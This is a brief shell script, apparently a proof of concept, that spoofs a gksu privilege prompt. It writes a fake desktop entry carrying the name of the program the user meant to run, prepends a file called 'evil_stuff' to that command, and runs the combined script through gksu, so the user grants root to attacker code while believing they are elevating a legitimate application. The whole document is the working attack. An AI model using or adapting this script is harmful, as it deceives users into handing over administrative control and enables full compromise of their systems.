xspath=$HOME/.bin run_app= for pr in $@; do run_app=$pr done echo "[Desktop Entry]" > $xspath/app.desktop echo "Name=$run_app" >> $xspath/app.desktop echo "$run_app" | cat $xspath/evil_stuff - > $xspath/stuff chmod a+x $xspath/stuff /usr/bin/gksu -D $xspath/app.desktop $xspath/stuff